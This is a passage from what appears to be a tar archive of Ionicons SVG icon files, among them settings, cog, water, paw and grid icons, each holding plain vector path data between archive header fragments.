512"><path d="M256 48C141.124 48 48 141.125 48 256s93.124 208 208 208c114.875 0 208-93.125 208-208S370.875 48 256 48zm-21.549 384.999c-39.464-4.726-75.978-22.392-104.519-50.932C96.258 348.393 77.714 303.622 77.714 256c0-42.87 15.036-83.424 42.601-115.659.71 8.517 2.463 17.648 2.014 24.175-1.64 23.795-3.988 38.687 9.94 58.762 5.426 7.819 6.759 19.028 9.4 28.078 2.583 8.854 12.902 13.498 20.019 18.953 14.359 11.009 28.096 23.805 43.322 33.494 10.049 6.395 16.326 9.576 13.383 21.839-2.367 9.862-3.028 15.937-8.13 24.723-1.557 2.681 5.877 19.918 8.351 22.392 7.498 7.497 14.938 14.375 23.111 21.125 12.671 10.469-1.231 24.072-7.274 39.117zm147.616-50.932c-25.633 25.633-57.699 42.486-92.556 49.081 4.94-12.216 13.736-23.07 21.895-29.362 7.097-5.476 15.986-16.009 19.693-24.352 3.704-8.332 8.611-15.555 13.577-23.217 7.065-10.899-17.419-27.336-25.353-30.781-17.854-7.751-31.294-18.21-47.161-29.375-11.305-7.954-34.257 4.154-47.02-1.417-17.481-7.633-31.883-20.896-47.078-32.339-15.68-11.809-14.922-25.576-14.922-42.997 12.282.453 29.754-3.399 37.908 6.478 2.573 3.117 11.42 17.042 17.342 12.094 4.838-4.043-3.585-20.249-5.212-24.059-5.005-11.715 11.404-16.284 19.803-24.228 10.96-10.364 34.47-26.618 32.612-34.047s-23.524-28.477-36.249-25.193c-1.907.492-18.697 18.097-21.941 20.859.086-5.746.172-11.491.26-17.237.055-3.628-6.768-7.352-6.451-9.692.8-5.914 17.262-16.647 21.357-21.357-2.869-1.793-12.659-10.202-15.622-8.968-7.174 2.99-15.276 5.05-22.45 8.039 0-2.488-.302-4.825-.662-7.133a176.585 176.585 0 0 1 45.31-13.152l14.084 5.66 9.944 11.801 9.924 10.233 8.675 2.795 13.779-12.995L282 87.929V79.59c27.25 3.958 52.984 14.124 75.522 29.8-4.032.361-8.463.954-13.462 1.59-2.065-1.22-4.714-1.774-6.965-2.623 6.531 14.042 13.343 27.89 20.264 41.746 7.393 14.801 23.793 30.677 26.673 46.301 3.394 18.416 1.039 35.144 2.896 56.811 1.788 20.865 23.524 44.572 23.524 44.572s10.037 3.419 18.384 2.228c-7.781 30.783-23.733 59.014-46.769 82.052z"/></svg>ionicons/svg/md-settings.svg000064400000002171151701353760012154 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M413.967 276.8c1.06-6.235 1.06-13.518 1.06-20.8s-1.06-13.518-1.06-20.8l44.667-34.318c4.26-3.118 5.319-8.317 2.13-13.518L418.215 115.6c-2.129-4.164-8.507-6.235-12.767-4.164l-53.186 20.801c-10.638-8.318-23.394-15.601-36.16-20.801l-7.448-55.117c-1.06-4.154-5.319-8.318-10.638-8.318h-85.098c-5.318 0-9.577 4.164-10.637 8.318l-8.508 55.117c-12.767 5.2-24.464 12.482-36.171 20.801l-53.186-20.801c-5.319-2.071-10.638 0-12.767 4.164L49.1 187.365c-2.119 4.153-1.061 10.399 2.129 13.518L96.97 235.2c0 7.282-1.06 13.518-1.06 20.8s1.06 13.518 1.06 20.8l-44.668 34.318c-4.26 3.118-5.318 8.317-2.13 13.518L92.721 396.4c2.13 4.164 8.508 6.235 12.767 4.164l53.187-20.801c10.637 8.318 23.394 15.601 36.16 20.801l8.508 55.117c1.069 5.2 5.318 8.318 10.637 8.318h85.098c5.319 0 9.578-4.164 10.638-8.318l8.518-55.117c12.757-5.2 24.464-12.482 36.16-20.801l53.187 20.801c5.318 2.071 10.637 0 12.767-4.164l42.549-71.765c2.129-4.153 1.06-10.399-2.13-13.518l-46.8-34.317zm-158.499 52c-41.489 0-74.46-32.235-74.46-72.8s32.971-72.8 74.46-72.8 74.461 32.235 74.461 72.8-32.972 72.8-74.461 72.8z"/></svg>ionicons/svg/md-contract.svg000064400000000351151701353760012127 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 371.2h76.795V448H192V320H64v51.2zm76.795-230.4H64V192h128V64h-51.205v76.8zM320 448h51.2v-76.8H448V320H320v128zm51.2-307.2V64H320v128h128v-51.2h-76.8z"/></svg>ionicons/svg/md-water.svg000064400000000332151701353760011433 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M380.5 163.3L256 32 131.5 163.3c-68.6 72.4-68.6 190 0 262.4C165.8 461.9 210.9 480 256 480s90.2-18.1 124.5-54.3c68.7-72.4 68.7-190 0-262.4z"/></svg>ionicons/svg/md-cloud-circle.svg000064400000000615151701353760012662 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.6 48 48 141.6 48 256s93.6 208 208 208 208-93.6 208-208S370.4 48 256 48zm93.6 291.2H172.801c-34.318 0-62.4-28.082-62.4-62.399 0-34.319 28.082-62.4 62.4-62.4h3.117c9.364-36.4 41.601-62.399 80.083-62.399 45.764 0 83.199 37.435 83.199 83.198h10.4c29.118 0 52 22.882 52 52.001 0 29.117-22.882 51.999-52 51.999z"/></svg>ionicons/svg/md-download.svg000064400000000242151701353760012120 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 199.5h-91.4V64H187.4v135.5H96l160 158.1 160-158.1zM96 402.8V448h320v-45.2H96z"/></svg>ionicons/svg/ios-ice-cream.svg000064400000003442151701353760012335 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M220.8 406.1l4.8 14.8c.4 1.2 1.9 1.8 3 1.1l6.8-4.2c2.5-1.6 2.5-5.2 0-6.8l-11.5-7.2c-1.7-1-3.6.5-3.1 2.3zM286.6 421l4.9-15.2c.6-1.8-1.4-3.3-3-2.3l-11.9 7.4a4.02 4.02 0 0 0 0 6.8l7 4.4c1.2.7 2.6.1 3-1.1zM188.6 242.2c-3.9 3.5-9.6 6.4-15.7 8.5-1 .4-1.6 1.5-1.2 2.5l9.3 28.9 3.8 11.8c.4 1.2 1.9 1.8 3 1.1l7-4.3 36.6-22.5c3-1.9 2.3-6.5-1.2-7.3-14.3-3.3-26.5-9.8-36.2-18.5-1.6-1.4-3.9-1.5-5.4-.2zM192.6 310.8l-2 1.2 14.6 45.3c.4 1.2 1.9 1.8 3 1.1l27.2-16.9c2.5-1.6 2.5-5.2 0-6.8l-38.5-23.9c-1.4-.8-3-.8-4.3 0zM258.1 348.9c-1.3-.8-2.9-.8-4.2 0L212 374.5l-.1.1c-1 .8-1 2.4 0 3.2l.7.5 41.3 25.3c1.3.8 2.9.8 4.2 0l41.7-25.5.4-.3c1-.8 1-2.2 0-3l-42.1-25.9zM296.7 296.6l-38.5-23.9c-1.3-.8-2.9-.8-4.2 0l-38.5 23.9a4.02 4.02 0 0 0 0 6.8l38.5 23.9c1.3.8 2.9.8 4.2 0l38.5-23.9c2.5-1.5 2.5-5.2 0-6.8zM318.1 242.3c-9.7 8.7-22 15.1-36.2 18.5-3.5.8-4.2 5.4-1.2 7.3l36.6 22.5 7.4 4.6c1.1.7 2.6.2 3-1.1l4-12.4 9.8-30.3c-6.9-2.1-13.6-5.3-18-9.2-1.6-1.3-3.9-1.2-5.4.1zM232.4 442l1.6 5s7.5 19 22 19c15 0 22.2-19 22.2-19l1.6-4.8c.6-1.7-.1-3.7-1.7-4.6l-20-12.4c-1.3-.8-2.9-.8-4.2 0l-19.8 12.3c-1.6.8-2.3 2.7-1.7 4.5zM276.7 341.5l27.5 17.1c1.1.7 2.6.2 3-1.1l14.2-43.8c.3-.9-.1-1.8-.8-2.3l-1-.6c-1.3-.8-2.9-.8-4.2 0l-38.5 23.9c-2.8 1.6-2.8 5.3-.2 6.8z"/><path d="M376.1 168.2c-6.2 5.4-13.2 8.7-18 10.5-1.8.7-3.5-1.4-2.3-3l4-5.7c6.1-8.7 8.5-19.4 6.8-29.8C357.9 86.8 311.7 46 256 46c-55.7 0-101.9 41.2-110.6 94.7-1.7 10.5.8 21.2 6.9 29.8l4 5.6c1.2 1.6-.5 3.8-2.4 3-5.4-2.1-13.5-6.2-20.1-12.8-1.4-1.4-3.6-1.5-5.2-.4-10.2 7.3-16.8 19.1-16.8 32.5 0 22.1 17.9 40 40 40 11.3 0 28-4.7 36.6-12.3 1.5-1.3 3.8-1.3 5.3.1 15.2 13.4 36.6 20.2 62.1 20.2s47-6.8 62.1-20.2c1.5-1.3 3.8-1.4 5.3-.1 8.5 7.6 25.3 12.3 36.6 12.3 22.1 0 40-18 40-40.1 0-11.9-5.2-22.6-13.5-30-2.7-2.6-7.2-2.7-10.2-.1z"/></svg>ionicons/svg/md-reverse-camera.svg000064400000000673151701353760013222 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M440 96h-88l-32-32H192l-32 32H72c-22.1 0-40 17.9-40 40v272c0 22.1 17.9 40 40 40h368c22.1 0 40-17.9 40-40V136c0-22.1-17.9-40-40-40zm-72 171h-97.7l44.8-45.1c-14.7-15.4-35.7-25.5-58.8-25.5-46.2 0-84 37.8-84 84s37.8 84 84 84c35.5 0 66.2-21.5 78.2-53.5h29.6c-13.4 47-56.2 81.5-107.8 81.5-62.3 0-112-50.4-112-112s50.4-112 112-112c30.8 0 58.7 12.6 79 32.9l32.8-32.9V267z"/></svg>ionicons/svg/md-paw.svg000064400000002252151701353760011103 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M459.5 165.9c-4.7-10.5-12.7-18.1-23.1-22-4.8-1.7-9.7-2.6-14.8-2.6-21.7 0-43.7 16.7-54.9 41.6-13.8 30.9-5.8 61 18.6 70.3 4.9 1.8 10.1 2.8 15.6 2.8 22.1 0 44.6-15.3 55.9-38.1 8.5-17.5 9.5-36.8 2.7-52zM145.3 182.8c-11.1-24.9-33.2-41.6-54.9-41.6-5.1 0-10.1.9-14.8 2.6-10.4 3.9-18.3 11.5-23.1 22-6.9 15.2-5.9 34.6 2.7 51.9 11.3 22.8 33.8 38.1 55.9 38.1 5.4 0 10.7-.9 15.6-2.8 24.4-9.1 32.4-39.3 18.6-70.2zM193.5 179.4c2 .1 4 0 6-.2 11.7-.9 22.3-5.9 30.6-14.3 13.4-13.6 17.1-34.9 14.3-56.8-4.3-33.7-25.8-59-54.8-60.1 0 0-4.1 0-6.2.2-12.8 1.1-24.4 6.5-33.5 15.9-13.3 13.6-19.7 33.7-17.1 53.8 4.3 33.4 30.9 60.4 60.7 61.5zM256 224c-69.3 0-138.7 97.1-138.7 176.3 0 23.6 11.8 42.6 23.5 50.4 14.4 9.6 24.5 13.4 45.5 13.4 13.4 0 21.6-2.5 28.1-6.1 12.3-6.7 25.9-10.4 39.9-10.4h3.5c14 0 27.6 3.8 39.9 10.4 6.5 3.5 14.7 6.1 28.1 6.1 21.1 0 31.2-3.8 45.5-13.4 11.6-7.8 23.5-26.8 23.5-50.4C394.7 321 325.3 224 256 224zM312.6 179.1c2 .2 4 .2 6 .2 29.8-1.1 56.5-28 60.8-61.5 2.6-20.2-3.8-40.4-17.1-53.8-9.2-9.3-20.3-14.6-33.1-15.6-2.1-.2-6.7-.2-6.7-.2-28.9 1.1-50.4 26.1-54.8 59.9-2.8 21.9.9 43.3 14.3 56.8 8.4 8.3 19 13.2 30.6 14.2z"/></svg>ionicons/svg/ios-git-branch.svg000064400000001504151701353760012523 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 96c-38.6 0-70 31.4-70 70 0 33.4 23.7 61.9 55.9 68.5-1.2 19.1-10.3 29.3-27 42.2-20.4 15.7-46.7 20-65.3 23.4-40.7 7.4-62.9 27-72.5 40V170.8c15-2.8 28.7-10.5 39-21.9 11.6-12.9 18-29.5 18-46.9 0-38.6-31.4-70-70-70s-70 31.4-70 70c0 17 6.2 33.3 17.3 46.1 9.9 11.3 23.1 19.1 37.7 22.3v171.3c-14.5 3.2-27.8 11-37.7 22.3C96.2 376.7 90 393 90 410c0 38.6 31.4 70 70 70s70-31.4 70-70c0-23.4-11.6-44.9-30.7-57.9 8.6-9.7 24.5-19.6 51.1-24.4 21.6-3.9 52.6-9.6 77.4-28.8 23.6-18.2 36.7-36.5 38-64.3 32.3-6.5 56.1-35.1 56.1-68.6.1-38.6-31.3-70-69.9-70zm-234 6c0-23.2 18.8-42 42-42s42 18.8 42 42-18.8 42-42 42-42-18.8-42-42zm84 308c0 23.2-18.8 42-42 42s-42-18.8-42-42 18.8-42 42-42 42 18.8 42 42zm150-202c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42z"/></svg>ionicons/svg/md-musical-note.svg000064400000000320151701353760012706 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 64v225.1c-12.6-7.3-27.1-11.7-42.7-11.7-47.1 0-85.3 38.2-85.3 85.3s38.2 85.3 85.3 85.3 85.3-38.2 85.3-85.3V149.3H384V64H256z"/></svg>ionicons/svg/md-laptop.svg000064400000000763151701353760011620 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.334 416C460.803 416 480 396.803 480 373.334V106.668C480 83.199 460.803 64 437.334 64H74.666C51.197 64 32 83.199 32 106.668v266.666C32 396.803 51.197 416 74.666 416H0c0 23.469 64 32 96 32h320c32 0 96-8.531 96-32h-74.666zM74.666 106.668h362.668v271.998H74.666V106.668zM256 434.666c-11.729 0-21.333-9.604-21.333-21.334 0-11.729 9.604-21.332 21.333-21.332s21.333 9.604 21.333 21.332c0 11.73-9.604 21.334-21.333 21.334z"/></svg>ionicons/svg/md-log-in.svg000064400000001113151701353760011474 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48c-42.9 0-84.2 13-119.2 37.5-34.2 24-60.2 57.2-75.1 96.1L58 192h45.7l1.9-5c8.2-17.8 19.4-33.9 33.5-48 31.2-31.2 72.7-48.4 116.9-48.4s85.7 17.2 116.9 48.4c31.2 31.2 48.4 72.7 48.4 116.9 0 44.1-17.2 85.7-48.4 116.9-31.2 31.2-72.7 48.4-116.9 48.4-44.1 0-85.6-17.2-116.9-48.4-14-14-25.3-30.1-33.5-47.9l-1.9-5H58l3.6 10.4c14.9 38.9 40.9 72.1 75.1 96.1C171.8 451.1 213 464 256 464c114.7 0 208-93.3 208-208S370.7 48 256 48z"/><path d="M48 277.4h189.7l-43.6 44.7L224 352l96-96-96-96-31 29.9 44.7 44.7H48v42.8z"/></svg>ionicons/svg/ios-bed.svg000064400000001252151701353760011237 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M458.2 208h-.4c-12 0-21.8 9.8-21.8 21.8 0 1.2-1 2.2-2.2 2.2H78.2c-1.2 0-2.2-1-2.2-2.2 0-12-9.8-21.8-21.8-21.8h-.4c-12 0-21.8 9.8-21.8 21.8v180.4c0 12 9.8 21.8 21.8 21.8h.4c12 0 21.8-9.8 21.8-21.8V404c0-2.2 1.8-4 4-4h352c2.2 0 4 1.8 4 4v6.2c0 12 9.8 21.8 21.8 21.8h.4c12 0 21.8-9.8 21.8-21.8V229.8c0-12-9.8-21.8-21.8-21.8z"/><path d="M84 214h22.5c2.2 0 4-1.8 4-4v-13c0-8.8 7.2-16 16-16H224c8.8 0 16 7.2 16 16v13c0 2.2 1.8 4 4 4h24c2.2 0 4-1.8 4-4v-13c0-8.8 7.2-16 16-16h97.5c8.8 0 16 7.2 16 16v13c0 2.2 1.8 4 4 4H428c4.4 0 8-3.6 8-8v-94c0-17.6-14.4-32-32-32H108c-17.6 0-32 14.4-32 32v94c0 4.4 3.6 8 8 8z"/></svg>ionicons/svg/md-checkmark.svg000064400000000227151701353760012244 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M186.301 339.893L96 249.461l-32 30.507L186.301 402 448 140.506 416 110z"/></svg>ionicons/svg/ios-flash-off.svg000064400000000745151701353760012360 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M382.1 442.7L154.5 55c-4-6.7-12.7-9-19.5-5.1-6.8 3.9-9.1 12.6-5.1 19.3L357.5 457c2.6 4.5 7.4 7 12.3 7 2.4 0 4.9-.6 7.2-1.9 6.7-4 9-12.6 5.1-19.4zM324.6 313.3l57.9-75.8c3.8-5.6.2-13.4-6.3-13.4h-104l52.4 89.2zM320.4 37.1c.9-4.5-4.6-7.1-7.2-3.4L227 146.9l42.4 72.3 51-182.1zM187.4 198.7l-57.9 75.8c-3.8 5.6-.2 13.4 6.3 13.4h103.9l-52.3-89.2zM191.6 474.9c-.9 4.5 4.6 7.1 7.2 3.4L285 365.1l-42.4-72.3-51 182.1z"/></svg>ionicons/svg/ios-cog.svg000064400000005776151701353760011274 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M456.9 242.2l-26.1-4.2c-3.5-.6-6.1-3.3-6.6-6.8-.5-3.2-1-6.4-1.7-9.5-.7-3.4.9-6.9 3.9-8.6l23.1-12.8c3.6-1.8 5.3-6.1 3.9-9.9l-4-11c-1.4-3.8-5.4-6-9.4-5l-25.9 5c-3.4.7-6.9-1-8.6-4.1-1.5-2.8-3.1-5.6-4.8-8.4-1.8-3-1.6-6.8.7-9.5l17.3-19.9c2.8-3 2.9-7.5.3-10.6l-7.5-9c-2.6-3.1-7.1-3.8-10.5-1.5L378.3 130c-3 1.8-6.8 1.4-9.4-.9-2.4-2.1-4.9-4.2-7.4-6.2-2.7-2.2-3.8-5.9-2.5-9.1l9.4-24.7c1.6-3.7.2-8.1-3.3-10.1l-10.2-5.9c-3.5-2-8-1.1-10.4 2.2l-16.6 20.8c-2 2.5-4.9 3.8-8.5 2.5 0 0-5.6-2.3-9.8-3.7-3.3-1.1-5.6-4.2-5.5-7.7l.4-26.4c.2-4.1-2.6-7.7-6.6-8.4l-11.6-2c-4-.7-7.9 1.7-9.1 5.6l-8.6 25c-1.1 3.3-4.3 5.5-7.8 5.4-1.6 0-3.3-.1-4.9-.1s-3.3 0-4.9.1c-3.5.1-6.6-2.1-7.8-5.4l-8.6-25c-1.2-3.9-5.1-6.3-9.1-5.6l-11.6 2c-4 .7-6.8 4.3-6.6 8.4l.4 26.4c.1 3.5-2.1 6.4-5.5 7.7-2.3.9-7.3 2.8-9.7 3.7-2.8 1-6.1.2-8.8-2.9l-16.5-20.3c-2.4-3.3-6.9-4.2-10.4-2.2l-10.2 5.9c-3.5 2-5 6.4-3.3 10.1l9.4 24.7c1.2 3.3.2 7-2.5 9.1-2.5 2-5 4.1-7.4 6.2-2.6 2.3-6.4 2.7-9.4.9L111 116.3c-3.4-2.2-7.9-1.6-10.5 1.5l-7.5 9c-2.6 3.1-2.5 7.7.3 10.6l17.3 19.9c2.3 2.6 2.6 6.5.7 9.5-1.7 2.7-3.3 5.5-4.8 8.4-1.7 3.1-5.1 4.7-8.6 4.1l-25.9-5c-4-.9-8 1.2-9.4 5l-4 11c-1.4 3.8.3 8.1 3.9 9.9L85.6 213c3.1 1.7 4.6 5.2 3.9 8.6-.6 3.2-1.2 6.3-1.7 9.5-.5 3.5-3.2 6.2-6.6 6.8l-26.1 4.2c-4 .5-7.1 3.9-7.1 7.9v11.7c0 4.1 3 7.5 7.1 7.9l26.1 4.2c3.5.6 6.1 3.3 6.6 6.8.5 3.2 1 6.4 1.7 9.5.7 3.4-.9 6.9-3.9 8.6l-23.1 12.8c-3.6 1.8-5.3 6.1-3.9 9.9l4 11c1.4 3.8 5.4 6 9.4 5l25.9-5c3.4-.7 6.9 1 8.6 4.1 1.5 2.8 3.1 5.6 4.8 8.4 1.8 3 1.6 6.8-.7 9.5l-17.3 19.9c-2.8 3-2.9 7.5-.3 10.6l7.5 9c2.6 3.1 7.1 3.8 10.5 1.5l22.7-13.6c3-1.8 6.8-1.4 9.4.9 2.4 2.1 4.9 4.2 7.4 6.2 2.7 2.2 3.8 5.9 2.5 9.1l-9.4 24.7c-1.6 3.7-.2 8.1 3.3 10.1l10.2 5.9c3.5 2 8 1.1 10.4-2.2l16.8-20.6c2.1-2.6 5.5-3.7 8.2-2.6 3.4 1.4 5.7 2.2 9.9 3.6 3.3 1.1 5.6 4.2 5.5 7.7l-.4 26.4c-.2 4.1 2.6 7.7 6.6 8.4l11.6 2c4 .7 7.9-1.7 9.1-5.6l8.6-25c1.1-3.3 4.3-5.5 7.8-5.4 1.6 0 3.3.1 4.9.1s3.3 0 4.9-.1c3.5-.1 6.6 2.1 7.8 5.4l8.6 25c1.2 3.9 5.1 6.3 9.1 5.6l11.6-2c4-.7 6.8-4.3 6.6-8.4l-.4-26.4c-.1-3.5 2.2-6.6 5.5-7.7 4.2-1.4 7-2.5 9.6-3.5 2.6-.9 5.8-1 8.3 2.1l17 20.9c2.4 3.3 6.9 4.2 10.4 2.2l10.2-5.9c3.5-2 5-6.4 3.3-10.1l-9.4-24.7c-1.2-3.3-.2-7 2.5-9.1 2.5-2 5-4.1 7.4-6.2 2.6-2.3 6.4-2.7 9.4-.9l22.7 13.6c3.4 2.2 7.9 1.6 10.5-1.5l7.5-9c2.6-3.1 2.5-7.7-.3-10.6l-17.3-19.9c-2.3-2.6-2.6-6.5-.7-9.5 1.7-2.7 3.3-5.5 4.8-8.4 1.7-3.1 5.1-4.7 8.6-4.1l25.9 5c4 .9 8-1.2 9.4-5l4-11c1.4-3.8-.3-8.1-3.9-9.9l-23.1-12.8c-3.1-1.7-4.6-5.2-3.9-8.6.6-3.2 1.2-6.3 1.7-9.5.5-3.5 3.2-6.2 6.6-6.8l26.1-4.2c4-.5 7.1-3.9 7.1-7.9v-11.7c-.2-3.8-3.2-7.3-7.3-7.7zM181.8 356.9c-5.2 9-17.4 10.7-25 3.6C129.2 334.2 112 297.1 112 256c0-40.9 17.1-77.9 44.5-104.1 7.5-7.2 19.8-5.5 25 3.5l56 96.6c1.4 2.5 1.4 5.5 0 8l-55.7 96.9zM396 289.7C380.9 353 323.9 400 256 400c-14.1 0-27.8-2-40.6-5.8-9.9-2.9-14.5-14.4-9.3-23.3l55.7-96.9c1.4-2.5 4.1-4 6.9-4h111.7c10.4 0 18 9.6 15.6 19.7zM380.5 242H268.7c-2.9 0-5.5-1.5-6.9-4l-56.1-96.7c-5.2-8.9-.7-20.4 9.2-23.4 13-3.9 26.8-5.9 41.1-5.9 67.9 0 124.9 47 140 110.3 2.4 10.1-5.2 19.7-15.5 19.7z"/></svg>ionicons/svg/ios-keypad.svg000064400000001676151701353760011774 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M394.6 341.2c-29.5 0-53.4 23.9-53.4 53.4s23.9 53.4 53.4 53.4 53.4-23.9 53.4-53.4-23.9-53.4-53.4-53.4zM256 341.2c-29.5 0-53.4 23.9-53.4 53.4S226.5 448 256 448s53.4-23.9 53.4-53.4-23.9-53.4-53.4-53.4zM117.4 341.2c-29.5 0-53.4 23.9-53.4 53.4S87.9 448 117.4 448s53.4-23.9 53.4-53.4-23.9-53.4-53.4-53.4zM394.6 202.6c-29.5 0-53.4 23.9-53.4 53.4s23.9 53.4 53.4 53.4S448 285.5 448 256s-23.9-53.4-53.4-53.4zM256 202.6c-29.5 0-53.4 23.9-53.4 53.4s23.9 53.4 53.4 53.4 53.4-23.9 53.4-53.4-23.9-53.4-53.4-53.4zM117.4 202.6C87.9 202.6 64 226.5 64 256s23.9 53.4 53.4 53.4 53.4-23.9 53.4-53.4-23.9-53.4-53.4-53.4zM394.6 64c-29.5 0-53.4 23.9-53.4 53.4s23.9 53.4 53.4 53.4 53.4-23.9 53.4-53.4S424.1 64 394.6 64zM256 64c-29.5 0-53.4 23.9-53.4 53.4s23.9 53.4 53.4 53.4 53.4-23.9 53.4-53.4S285.5 64 256 64zM117.4 64C87.9 64 64 87.9 64 117.4s23.9 53.4 53.4 53.4 53.4-23.9 53.4-53.4S146.9 64 117.4 64z"/></svg>ionicons/svg/ios-briefcase.svg000064400000000635151701353760012434 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M80 448h352c17.7 0 32-14.3 32-32V224H48v192c0 17.7 14.3 32 32 32zM432 128h-8v-8c0-4.4-3.6-8-8-8h-32c-4.4 0-8 3.6-8 8v8h-28V96c0-17.6-14.4-32-32-32H196c-17.6 0-32 14.4-32 32v32h-28v-8c0-4.4-3.6-8-8-8H96c-4.4 0-8 3.6-8 8v8h-8c-17.7 0-32 14.3-32 32v40h416v-40c0-17.7-14.3-32-32-32zm-112 0H192v-28c0-4.4 3.6-8 8-8h112c4.4 0 8 3.6 8 8v28z"/></svg>ionicons/svg/md-glasses.svg000064400000000365151701353760011760 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 176H272v.1h-32v-.1H32v48h11l5 21.5C64 313 88.5 336 144 336s96-17.4 96-90.5V224s1.5-16 16-16 16 16 16 16v21.8c0 73 42.1 90.2 97 90.2s79-25 95-90.2l5-21.8h11v-48z"/></svg>ionicons/svg/ios-information.svg000064400000000330151701353760013026 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M235.4 176c0-11.4 9.3-19.9 20.5-19.9 11.4 0 20.7 8.5 20.7 19.9s-9.3 20-20.7 20c-11.2.1-20.5-8.6-20.5-20zm1.4 35.8H275v144.1h-38.2V211.8z"/></svg>ionicons/svg/ios-radio-button-on.svg000064400000001105151701353760013523 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3S304.1 436 256 436c-48.1 0-93.3-18.7-127.3-52.7S76 304.1 76 256s18.7-93.3 52.7-127.3S207.9 76 256 76m0-28C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/><path d="M363.5 148.5C334.8 119.8 296.6 104 256 104c-40.6 0-78.8 15.8-107.5 44.5C119.8 177.2 104 215.4 104 256s15.8 78.8 44.5 107.5C177.2 392.2 215.4 408 256 408c40.6 0 78.8-15.8 107.5-44.5C392.2 334.8 408 296.6 408 256s-15.8-78.8-44.5-107.5z"/></svg>ionicons/svg/md-woman.svg000064400000000716151701353760011440 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M190.4 148.6L161 252.9c-6.3 22.8 20.7 31.7 27.3 10.3l26.3-96.2h7.4l-45.2 169H219v127c0 23 32 23 32 0V336h10v127c0 23 31 23 31 0V336h43.4l-46.2-169h8.4l26.3 96.2c6.5 21.9 33.3 12.5 27.3-10.2l-29.4-104.4c-4-11.8-18.2-32.6-42-33.6h-47.3c-24.6 1-38.7 21.6-42.1 33.6zM292.6 69.2c0-20.6-16.4-37.3-36.6-37.3-20.2 0-36.6 16.7-36.6 37.3 0 20.6 16.4 37.3 36.6 37.3 20.2 0 36.6-16.7 36.6-37.3z"/></svg>ionicons/svg/md-filing.svg000064400000000546151701353760011570 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M449.2 208H423v-32l-14.4-48H383V96l-15-48H144l-15 48v32h-25.6L89 176v32H62.8L48 256v165.3c0 23.5 35.2 42.7 58.7 42.7h314.7c21.8 0 42.7-19.7 42.7-41V256l-14.9-48zM176 96h160v32H176V96zm-41 80h242v32H135v-32zm282 112h-82.6c-7.4 36.5-39.7 64-78.4 64s-71-27.5-78.4-64H95v-32h322v32z"/></svg>ionicons/svg/md-cloud.svg000064400000000445151701353760011424 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.002 217.001C388.998 148.002 328.998 96 256 96c-57.998 0-107.998 32.998-132.998 81.001C63.002 183.002 16 233.998 16 296c0 65.996 53.999 120 120 120h260c55 0 100-45 100-100 0-52.998-40.996-96.001-92.998-98.999z"/></svg>ionicons/svg/ios-git-commit.svg000064400000001027151701353760012556 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M466 242h-76.7c-3.3-31.9-17.8-61.3-41.3-83.5-25-23.5-57.7-36.5-92-36.5s-67 13-91.9 36.5c-23.5 22.2-38 51.6-41.3 83.5H46c-7.7 0-14 6.3-14 14s6.3 14 14 14h76.7c3.3 31.9 17.8 61.3 41.3 83.5 25 23.5 57.7 36.5 92 36.5s67-13 91.9-36.5c23.5-22.2 38-51.6 41.3-83.5H466c7.7 0 14-6.3 14-14s-6.3-14-14-14zm-135 89c-20 20-46.6 31-75 31-28.3 0-54.9-11-75-31-20-20-31-46.6-31-75s11-54.9 31-75c20-20 46.6-31 75-31 28.3 0 54.9 11 75 31 20 20 31 46.6 31 75s-11 54.9-31 75z"/></svg>ionicons/svg/ios-grid.svg000064400000001446151701353760011437 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M206 308h100c1.1 0 2-.9 2-2V206c0-1.1-.9-2-2-2H206c-1.1 0-2 .9-2 2v100c0 1.1.9 2 2 2z"/><path d="M64 96v320c0 17.7 14.3 32 32 32h320c17.7 0 32-14.3 32-32V96c0-17.7-14.3-32-32-32H96c-17.7 0-32 14.3-32 32zm330 108h-56c-1.1 0-2 .9-2 2v100c0 1.1.9 2 2 2h56c7.7 0 14 6.3 14 14s-6.3 14-14 14h-56c-1.1 0-2 .9-2 2v56c0 7.7-6.3 14-14 14s-14-6.3-14-14v-56c0-1.1-.9-2-2-2H206c-1.1 0-2 .9-2 2v56c0 7.7-6.3 14-14 